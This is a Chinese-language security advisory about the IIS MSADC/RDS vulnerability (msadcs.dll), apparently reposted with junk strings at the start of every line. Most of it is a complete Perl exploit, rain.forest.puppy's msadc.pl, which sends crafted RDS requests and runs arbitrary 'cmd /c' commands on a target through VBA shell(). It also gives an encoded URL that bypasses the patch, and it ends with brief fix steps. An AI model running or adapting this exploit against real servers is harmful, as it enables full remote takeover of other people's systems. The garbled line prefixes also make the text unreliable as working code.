IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/N./l4D1K- l d5+/"$ 涉及程序：
"{~^EQq, Microsoft NT server
r CUs ;rnhv:Iw 描述：
0fV}n:4Pq 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
R[ m+s=+ d*@K5?O. 详细：
^$rqyWZYp 如果你没有时间读详细内容的话，就删除:
&k` lb kq c:\Program Files\Common Files\System\Msadc\msadcs.dll
}b{7+ +
Ah 有关的安全问题就没有了。
KR%NgV+}!0 GK3 cQw 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
ZK<c(,oZ^ i@%a!].I 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
f>Tn#OW 关于利用ODBC远程漏洞的描述，请参看:
>yLdrf 1] .m4vC http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm `+0P0( bn U_UN& /f 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
zOy_qozk http://www.microsoft.com/security/bulletins/MS99-025faq.asp zP|^@Homk bY~V?yNgKM 这里不再论述。
vJX0c\e e Dpt1 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
T]\'D&P~D ],'"iVh /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
{Z>Mnw"R 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
%P C[-(Q
DJ1!Xuu :1 v.Jk #将下面这段保存为txt文件，然后: "perl -x 文件名"
bJw{ U. B f.- 5 #!perl
FyChH7 #
tK 6=F63e # MSADC/RDS 'usage' (aka exploit) script
=t. T9'{ #
g ?@fHFct # by rain.forest.puppy
'<6DLtZl #
@S&QxE^ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
xgvwH?< # beta test and find errors!
Bt(nm> Ng ^bL FY9hSC use Socket; use Getopt::Std;
yMpZ-b$*~ getopts("e:vd:h:XR", \%args);
0aJcX) K :>O X print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
EQ>@K-R p ^)3p5w if (!defined $args{h} && !defined $args{R}) {
N).'> print qq~
w/9%C(w6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
lnK#q .] -h <host> = host you want to scan (ip or domain)
a/[)A _- -d <seconds> = delay between calls, default 1 second
Sf2x I' -X = dump Index Server path table, if available
7}pg7EF3z -v = verbose
_
Ewkb -e = external dictionary file for step 5
{/qQ=$t k[y^7, r Or a -R will resume a command session
|FSp `P y<c7 RK] ~; exit;}
Mt@Ma ]! 2G _]Y8 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
B#3Q 4c$ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{+E nJ" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
F?qg?1v B| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,E"n 7*6mr $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1Vs> G if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
8d&%H, D2RvFlAXu if (!defined $args{R}){ $ret = &has_msadc;
bV+2 U die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
M(n@ytz N*)O_Ki print "Please type the NT commandline you want to run (cmd /c assumed):\n"
NPDMv
|4 . "cmd /c ";
,wn gS= $in=<STDIN>; chomp $in;
LCuz_LTFq{ $command="cmd /c " . $in ;
]zn 3nhBI R \]C;@J< if (defined $args{R}) {&load; exit;}
lb C,*U^ Mh {>#Gs print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
3 rR 1/\ &try_btcustmr;
<,X=M6$0n 45OAJ?N print "\nStep 2: Trying to make our own DSN...";
s'bTP(wl9 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
,sT5TS
q #w:nj1{_ print "\nStep 3: Trying known DSNs...";
{d.K)8 \ &known_dsn;
A2 $05a$% }F|B'[wn print "\nStep 4: Trying known .mdbs...";
whm| "}x)u &known_mdb;
0
ZSn r+ 7k00lKA\w if (defined $args{e}){
cwzgIm+ print "\nStep 5: Trying dictionary of DSN names...";
h\Q@zR*0a &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|kTq
&^$ _]{LjJ!M print "Sorry Charley...maybe next time?\n";
NK'@.= $ exit;
JoZS p"R f>|<5zm#< ##############################################################################
>]o>iOz;] d8U<V<H< sub sendraw { # ripped and modded from whisker
'sE["e C sleep($delay); # it's a DoS on the server! At least on mine...
?'tRu !~ my ($pstr)=@_;
A(n#k&W1fZ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*z.r OY=
8 die("Socket problems\n");
{s@ 0<! if(connect(S,pack "SnA4x8",2,80,$target)){
L\t_ zf_0 select(S); $|=1;
i% ,
't print $pstr; my @in=<S>;
ZOpKi:\ select(STDOUT); close(S);
`zB bB^\`W return @in;
DIJmISk } else { die("Can't connect...\n"); }}
ayQ eT [rL 8L6,! ##############################################################################
/Z,hQ>/ \9uK^oS sub make_header { # make the HTTP request
7B\Q5fLQ my $msadc=<<EOT
FCWk8 / POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
=;E0 PB_w User-Agent: ACTIVEDATA
UEhFId Host: $ip
)[|_q, Content-Length: $clen
YD0hDp Connection: Keep-Alive
W/}_ y8q \ 9iiS(e ADCClientVersion:01.06
g"(@+\XZH" Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
V!>j: " t\ TxK 7i --!ADM!ROX!YOUR!WORLD!
M&<qGV$A Content-Type: application/x-varg
=p"ma83 Content-Length: $reqlen
|\/\FK]?] {cb<9Fii EOT
t`R{N1 ; $msadc=~s/\n/\r\n/g;
xplV6 q` return $msadc;}
8FZC0j.^DH N u\<Xr8 ##############################################################################
kyt HOn# d3S Me sub make_req { # make the RDS request
72.Msnn my ($switch, $p1, $p2)=@_;
D.|r
[c my $req=""; my $t1, $t2, $query, $dsn;
|lg jI!iK oveK;\7 /m if ($switch==1){ # this is the btcustmr.mdb query
~P"Agpx3u $query="Select * from Customers where City=" . make_shell();
nc\2 A>f` $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
BG=
J8 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
R/*"N'nH-% 41s\^'^& elsif ($switch==2){ # this is general make table query
TA2ETvz^ $query="create table AZZ (B int, C varchar(10))";
MGxkqy ? $dsn="$p1";}
'Cz*p, <l Wj-+m elsif ($switch==3){ # this is general exploit table query
?6hd(^ $query="select * from AZZ where C=" . make_shell();
]!@=2kG4 $dsn="$p1";}
@rDBK] V G%;>_E elsif ($switch==4){ # attempt to hork file info from index server
5]upfC6 $query="select path from scope()";
C "B'Dj $dsn="Provider=MSIDXS;";}
VB#&`]r do k?TZY|_ elsif ($switch==5){ # bad query
R=<::2_Y96 $query="select";
i$Kx@,O8t $dsn="$p1";}
o3GkTn O aq8./^ $t1= make_unicode($query);
-gS9I^ $t2= make_unicode($dsn);
,(zV~-:9 $req = "\x02\x00\x03\x00";
+,AzxP
_y $req.= "\x08\x00" . pack ("S1", length($t1));
U B~ -$\. $req.= "\x00\x00" . $t1 ;
_q4O2F x0 $req.= "\x08\x00" . pack ("S1", length($t2));
oz) 4YBf $req.= "\x00\x00" . $t2 ;
m H0OW $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
dcD#!v\0 return $req;}
wy tMoG\ b1jDbiH& ##############################################################################
. %e>>U>F Z"_8 l3 sub make_shell { # this makes the shell() statement
c s*E9 return "'|shell(\"$command\")|'";}
C=@4U} !ehjLFS? _ ##############################################################################
p9u*l q HdUnW sub make_unicode { # quick little function to convert to unicode
qlYi:uygY my ($in)=@_; my $out;
.m l\z5 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
GD]epr%V return $out;}
B5vLV@>] ,=4,eCS ##############################################################################
KN`k+!@/7 8I Q}%|lN sub rdo_success { # checks for RDO return success (this is kludge)
g3&nx Z my (@in) = @_; my $base=content_start(@in);
:r hB= if($in[$base]=~/multipart\/mixed/){
ng9e)lU~*b return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Fpn*]x return 0;}
![\ P /1p yq[/9Pci A ##############################################################################
`y^\c#k G dNhEv sub make_dsn { # this makes a DSN for us
VrP{U-` my @drives=("c","d","e","f");
`'<$N<! print "\nMaking DSN: ";
Fj~suZ` foreach $drive (@drives) {
{}k3nJfE print "$drive: ";
R2a99# J my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
1.3dy]vG "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
dhLR#m30T . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;<Hk Cd $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6',Hs return 0 if $2 eq "404"; # not found/doesn't exist
J( XD wt if($2 eq "200") {
=Q<7 [ foreach $line (@results) {
@W/k}<07 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
rC_1f3A } return 0;}
vr4r,[B6y ?2~fvMWu ##############################################################################
l W-h
@ m!w|~ Rk sub verify_exists {
d/OP+yzgZ my ($page)=@_;
0 {z8pNrc my @results=sendraw("GET $page HTTP/1.0\n\n");
MJ?t{= return $results[0];}
!(? 7V Sv /P:r
_ ##############################################################################
N WF h<
X5/fy"g& sub try_btcustmr {
CE96e y my @drives=("c","d","e","f");
2{~ `q my @dirs=("winnt","winnt35","winnt351","win","windows");
ph6'(, L+%kibnY' foreach $dir (@dirs) {
x
cAs }y} print "$dir -> "; # fun status so you can see progress
ydO+=R0M foreach $drive (@drives) {
lCp6Uk E print "$drive: "; # ditto
Q R"+fzOL $reqlen=length( make_req(1,$drive,$dir) ) - 28;
}vU/]0@,E $reqlenlen=length( "$reqlen" );
1-? i*C $clen= 206 + $reqlenlen + $reqlen;
Y FJaf"?8g c:. 5@eq^ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
<Qih&P9;> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9 |<Li[ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
d; l%XZe grgs r_)[ ##############################################################################
dGO FSH hDB(y4/ sub odbc_error {
PbZ%[F my (@in)=@_; my $base;
T})q/oUqK my $base = content_start(@in);
NN'pBU R if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Bh=t%#y|` $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K)>F03=uE $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4PxP *j $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
: H;S"D return $in[$base+4].$in[$base+5].$in[$base+6];}
~8nR3ki print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
~ %=%5 } print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
vi^ YtA $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
o c]
C+l oX:&;KA ##############################################################################
<lIm==U<- uoE + :,P sub verbose {
@H#Fzoo. my ($in)=@_;
vb>F)po1} return if !$verbose;
, v } ) print STDOUT "\n$in\n";}
4w , &#L su=MMr> ##############################################################################
r&a} U6k(y ~HGSA( sub save {
W|fE]RY my ($p1, $p2, $p3, $p4)=@_;
O D N_i open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3>7{Q_5 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Pd&KAu|<` close OUT;}
TPBQfp%HU .q ohHJ& ##############################################################################
q 7KHx b Q?1.GuF sub load {
H *k\C my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:n13v @q open(IN,"<rds.save") || die("Couldn't open rds.save\n");
"$(D7yFO @p=<IN>; close(IN);
4_V gJ9@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"Y:>^F; $target= inet_aton($ip) || die("inet_aton problems");
};rp2 5i print "Resuming to $ip ...";
x1g-@{8]j $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
z{ eZsh
b if($p[1]==1) {
aE)1LP $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
# A4WFZ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
($<&H>j0 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,^e2ma|z if (rdo_success(@results)){print "Success!\n";}
/_J{JGp9 else { print "failed\n"; verbose(odbc_error(@results));}}
DTA$,1JuD elsif ($p[1]==3){
am? k if(run_query("$p[3]")){
0/DO"pnL@ print "Success!\n";} else { print "failed\n"; }}
6BA$v-VVU elsif ($p[1]==4){
C=oeRc'r1W if(run_query($drvst . "$p[3]")){
1 SS1P0Ur print "Success!\n"; } else { print "failed\n"; }}
,rN$ah$CL exit;}
e?;c9]XO,o QlB9m2XB ##############################################################################
/"`hz6rIv _/Ve~(
" sub create_table {
[g}#R#Y) my ($in)=@_;
^#e|^]]
L $reqlen=length( make_req(2,$in,"") ) - 28;
V-(]L:[JQ $reqlenlen=length( "$reqlen" );
yI|x
5f $clen= 206 + $reqlenlen + $reqlen;
'vt Jl my @results=sendraw(make_header() . make_req(2,$in,""));
T $0)un return 1 if rdo_success(@results);
2dHO!A$RF my $temp= odbc_error(@results); verbose($temp);
0sw;h.VY return 1 if $temp=~/Table 'AZZ' already exists/;
$2*_7_Qb return 0;}
) P9]/y TtrO _D ##############################################################################
/8]K}yvR xC9?rLUZ sub known_dsn {
`'iO+/;GY # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
AfO.D ?4x my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
^zT=qB l "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
j|[$P4w}U "banner", "banners", "ads", "ADCDemo", "ADCTest");
3
[]ltN_ *iru>F8r: foreach $dSn (@dsns) {
aJ=)5%$6kc print ".";
z"|jCdZGM next if (!is_access("DSN=$dSn"));
ddl]!
^IK if(create_table("DSN=$dSn")){
l%Ke>9C print "$dSn successful\n";
6:}n}q,V if(run_query("DSN=$dSn")){
v]@ XyF\j8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
'tkQ z print "Something's borked. Use verbose next time\n";}}} print "\n";}
U:7w 8$_ HhC FAq"j ##############################################################################
qB@N|B b POl-S<QV sub is_access {
QhTn 9S:D my ($in)=@_;
{I0!q"sF $reqlen=length( make_req(5,$in,"") ) - 28;
.EWj eVq $reqlenlen=length( "$reqlen" );
3TjyKB *! $clen= 206 + $reqlenlen + $reqlen;
Q:
-& my @results=sendraw(make_header() . make_req(5,$in,""));
f:P;_/cJc my $temp= odbc_error(@results);
b(U5 n"cdA verbose($temp); return 1 if ($temp=~/Microsoft Access/);
h*<`ct xL return 0;}
$Sy}im\H 2 7dS.6 ##############################################################################
>\'}&oi 3zfpFgD! sub run_query {
!W&|kvT^ my ($in)=@_;
&'PLOyWw $reqlen=length( make_req(3,$in,"") ) - 28;
Kn1u1@&Xd $reqlenlen=length( "$reqlen" );
J<"Z6 '0v $clen= 206 + $reqlenlen + $reqlen;
8 * m,# my @results=sendraw(make_header() . make_req(3,$in,""));
H 9 BqE+ return 1 if rdo_success(@results);
suaP'0 my $temp= odbc_error(@results); verbose($temp);
;rF:$ 37^ return 0;}
kS7T ' [d FUPJ&7+B ##############################################################################
Ox/va]e7" 7xT<|3 I sub known_mdb {
'Uo:b< my @drives=("c","d","e","f","g");
,%m$_wA$ my @dirs=("winnt","winnt35","winnt351","win","windows");
p7O4CP>9[ my $dir, $drive, $mdb;
1hp@.Fv my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=W P}RZ{S }W % }_UT # this is sparse, because I don't know of many
Md m(xUs my @sysmdbs=( "\\catroot\\icatalog.mdb",
{la ^useg[ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
C[$<7Mi|; "\\system32\\certmdb.mdb",
BQ&h&57K "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
5O%}.}n IPE ( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ae1fCw3k "\\cfusion\\cfapps\\forums\\forums_.mdb",
7,LT4wYH "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
<$9A P "\\cfusion\\cfapps\\security\\realm_.mdb",
-XY]WWlq "\\cfusion\\cfapps\\security\\data\\realm.mdb",
bm ddh2 "\\cfusion\\database\\cfexamples.mdb",
f%auz4CZz "\\cfusion\\database\\cfsnippets.mdb",
CGg6n CB "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
~d5{Q?T) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
->#7 _W "\\cfusion\\brighttiger\\database\\cleam.mdb",
O "h+i>|l "\\cfusion\\database\\smpolicy.mdb",
p0YTZS ]h "\\cfusion\\database\cypress.mdb",
*'t `; m~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
wLUmRo56aR "\\website\\cgi-win\\dbsample.mdb",
@' ,;/j80 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
P?uKDON "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
<*5D0q#~" ); #these are just
u})JQ<| foreach $drive (@drives) {
O@Kr}8^, foreach $dir (@dirs){
dX3> j{_ foreach $mdb (@sysmdbs) {
Cw2+@7?| print ".";
`4p9K if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
BPOWo8TqD^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
xX>448= if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
-T(V6 &'Qi print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Zj^H3 h } else { print "Something's borked. Use verbose next time\n"; }}}}}
e
O}mZN QBo^{], foreach $drive (@drives) {
liB>~DVC foreach $mdb (@mdbs) {
!%(B2J print ".";
+]_} \ if(create_table($drv . $drive . $dir . $mdb)){
%?$"oWmenS print "\n" . $drive . $dir . $mdb . " successful\n";
1wM
p3 if(run_query($drv . $drive . $dir . $mdb)){
Q'Tn+}B& print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Mt:(w;Y } else { print "Something's borked. Use verbose next time\n"; }}}}
vNt2s)J$ }
jHZ<G c ']NM_ 0 ##############################################################################
MG@19R2s `jkn*:m sub hork_idx {
_B[(/wY print "\nAttempting to dump Index Server tables...\n";
0.5_,an3 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
] 7O?c= $reqlen=length( make_req(4,"","") ) - 28;
sOW|TN>y\ $reqlenlen=length( "$reqlen" );
RP WYm $clen= 206 + $reqlenlen + $reqlen;
.PxM
#;i2 my @results=sendraw2(make_header() . make_req(4,"",""));
/P%:u0fX, if (rdo_success(@results)){
StVv" YY my $max=@results; my $c; my %d;
3WY W]) for($c=19; $c<$max; $c++){
>4E,_ `3N $results[$c]=~s/\x00//g;
'$VR_N\ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
( 65p/$Vh $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
z=U!D `]v $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
\ 4[Ta,;t $d{"$1$2"}="";}
%Z?
o ] foreach $c (keys %d){ print "$c\n"; }
y()( 8L } else {print "Index server doesn't seem to be installed.\n"; }}
A0ToX) |C Z0=OR^HjA ##############################################################################
ao!r6:&v$e #rwR)9iC0 sub dsn_dict {
G dU
W$. open(IN, "<$args{e}") || die("Can't open external dictionary\n");
> R <fm while(<IN>){
Vmc)or*# $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
`vSsgG next if (!is_access("DSN=$dSn"));
ccSS a u5N if(create_table("DSN=$dSn")){
^xwFjQXx print "$dSn successful\n";
Xn=fLb( if(run_query("DSN=$dSn")){
I .ty-X] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2'U9!. o print "Something's borked. Use verbose next time\n";}}}
,Mc 2dhq print "\n"; close(IN);}
Q:\hh=^ jlBCu(.,_ ##############################################################################
fLAF/#\2 ULjzhy+(8 sub sendraw2 { # ripped and modded from whisker
?
h%+2 sleep($delay); # it's a DoS on the server! At least on mine...
Kc0OLcu^d my ($pstr)=@_;
s|'L0` <B socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
M jTKM; die("Socket problems\n");
3D0I5LF& if(connect(S,pack "SnA4x8",2,80,$target)){
&?6w 2[} print "Connected. Getting data";
#Au&2_O open(OUT,">raw.out"); my @in;
~tvoR&{ I select(S); $|=1; print $pstr;
U^&Cvxc[[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
l0{DnQA> I close(OUT); select(STDOUT); close(S); return @in;
o=QF>\ \ } else { die("Can't connect...\n"); }}
,be?GAq ZZ* k3Ce ##############################################################################
w ZAXfNA #+0 R!Y sub content_start { # this will take in the server headers
p%1m&/ `F my (@in)=@_; my $c;
bobkT|s^s for ($c=1;$c<500;$c++) {
su;S)yZb if($in[$c] =~/^\x0d\x0a/){
CaBS0 '
n if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/g''-yT7# else { return $c+1; }}}
[i7)E]*oTA return -1;} # it should never get here actually
sEyl\GL q htAtP>i" ##############################################################################
^ ^l"brPa YWrY{6M sub funky {
wt S*w my (@in)=@_; my $error=odbc_error(@in);
{C6;$#7P if($error=~/ADO could not find the specified provider/){
79g>7<vp print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\r, . hUp exit;}
98'XSL| if($error=~/A Handler is required/){
$]J IA| print "\nServer has custom handler filters (they most likely are patched)\n";
.6o y> 4 exit;}
N06O.bji if($error=~/specified Handler has denied Access/){
:-" jK w print "\nServer has custom handler filters (they most likely are patched)\n";
y/hvH"f exit;}}
= [os<+ JBAK* g ##############################################################################
%MZDm&f>Kk <|Eby!KXR sub has_msadc {
F{~r7y;0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
}IkEyJsk my $base=content_start(@results);
l(\8c><m return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^Jl!WH=20} return 0;}
SliQwm 5 LE80`t>M# ########################
L00 ;rTs> xh^ZI6L< LY :?OGh 解决方案：
[3sxzU!t~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
rRrW 2、移除web 目录: /msadc
